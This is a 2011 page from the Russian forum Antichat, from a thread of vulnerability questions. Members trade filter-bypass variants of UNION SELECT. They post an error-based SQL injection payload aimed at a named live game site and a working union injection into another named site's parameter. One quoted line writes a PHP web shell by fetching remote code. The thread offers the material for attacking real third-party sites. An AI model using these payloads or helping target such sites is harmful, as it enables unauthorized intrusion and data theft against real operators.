HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1821 из 2422 « Первая < 8211321172117711811 1817 1818 1819 1820 1821 1822 1823 1824 1825 1831187119212321 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.11.2011, 17:22
crackforme
Участник форума
Регистрация: 03.10.2011
Сообщений: 208
С нами: 7689206

Репутация: 0
По умолчанию
Цитата:
Сообщение от er9j6@  
http://x3k.ru/
спасибо а можно ли обойти фильтрацию слов union+select+

видом +0x556e696f6e+0x53654c656374+

скобки тоже фильтруются

если нет то как по другому?

Точнее фильтруется Union
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 07.11.2011, 17:24
er9j6@
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами: 7712246

Репутация: 23
По умолчанию
Цитата:
Сообщение от crackforme  
спасибо а можно ли обойти фильтрацию слов union+select+
видом +0x556e696f6e+0x53654c656374+
скобки тоже фильтруются
если нет то как по другому?
/*!union*/+/*!select*/

union%0aselect

/*!UnIoN+SeLeCt*/

UnIoN/**/SeLeCt

%75%6e%69%6f%6e%2b%73%65%6c%65%63%74

asdunionasdselectasd

%75%6e%69%6f%6e%0a%73%65%6c%65%63%74
 
Ответить с цитированием

  #3  
Старый 07.11.2011, 17:39
crackforme
Участник форума
Регистрация: 03.10.2011
Сообщений: 208
С нами: 7689206

Репутация: 0
По умолчанию
Цитата:
Сообщение от er9j6@  
/*!union*/+/*!select*/
union%0aselect
/*!UnIoN+SeLeCt*/
UnIoN/**/SeLeCt
%75%6e%69%6f%6e%2b%73%65%6c%65%63%74
asdunionasdselectasd
%75%6e%69%6f%6e%0a%73%65%6c%65%63%74
спасибо

union%0aselect
 
Ответить с цитированием

  #4  
Старый 07.11.2011, 17:51
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от crackforme  
спасибо
union%0aselect
union%09select

union/**/select

id=(5)union(select(1),(2))
 
Ответить с цитированием

  #5  
Старый 08.11.2011, 02:35
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
С нами: 9625938

Репутация: 32
По умолчанию
Вроде бы sql inj есть, но не получается раскрутить(

Цитата:
Сообщение от None  
http://la2.war-top.ru/index.php?do=sitedetails&id=186'
 
Ответить с цитированием

  #6  
Старый 08.11.2011, 02:59
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
С нами: 10333826

Репутация: 369


По умолчанию
Цитата:
Сообщение от Boolean  
file_put_contents('yashell.php', file_get_contents('http://ya.ru/shell
.txt
'));
Это если url_fopen еще разрешен.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]regexp code[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) : eval()[/COLOR][COLOR="#DD0000"]'d code on line 1[/COLOR][/COLOR] 
пишет ошибку вероятно из за кавычек как мне это убрать?
 
Ответить с цитированием

  #7  
Старый 08.11.2011, 03:04
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
С нами: 9625938

Репутация: 32
По умолчанию
Помогите пожалуйста

Ошибка вверху сливается с темным фоном

Цитата:
Сообщение от None  
http://la2-shop.ru/categories.php?id_cat=2'
 
Ответить с цитированием

  #8  
Старый 08.11.2011, 03:13
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами: 9061916

Репутация: 0
По умолчанию
Цитата:
Сообщение от DJ  
[akep"]
DJ ][akep said:
Помогите пожалуйста
Ошибка вверху сливается с темным фоном
http://la2.war-top.ru/index.php?do=sitedetails&id=186' or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -

а дальше сам.

хинт: error based.
 
Ответить с цитированием

  #9  
Старый 08.11.2011, 03:17
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию
Цитата:
Сообщение от satana8920  
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]regexp code[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) : eval()[/COLOR][COLOR="#DD0000"]'d code on line 1[/COLOR][/COLOR] 
пишет ошибку вероятно из за кавычек как мне это убрать?
Зачем $_GET юзаете? =/

Другой масив используйте, или накрайняк $_REQUEST уж так надо $_GET оставить.

_https://rdot.org/forum/showthread.php?t=118

2-пост
 
Ответить с цитированием

  #10  
Старый 08.11.2011, 03:19
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами: 9061916

Репутация: 0
По умолчанию
Цитата:
Сообщение от None  
http://la2-shop.ru/categories.php?id_cat=2'
в этом параметре инъекции нет. зато есть в другом:

http://la2-shop.ru/categories.php?id_msg=2'+union+select+1,2,3--+

вывод в тайтле.
 
Ответить с цитированием
Ответ
Страница 1821 из 2422 « Первая < 8211321172117711811 1817 1818 1819 1820 1821 1822 1823 1824 1825 1831187119212321 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.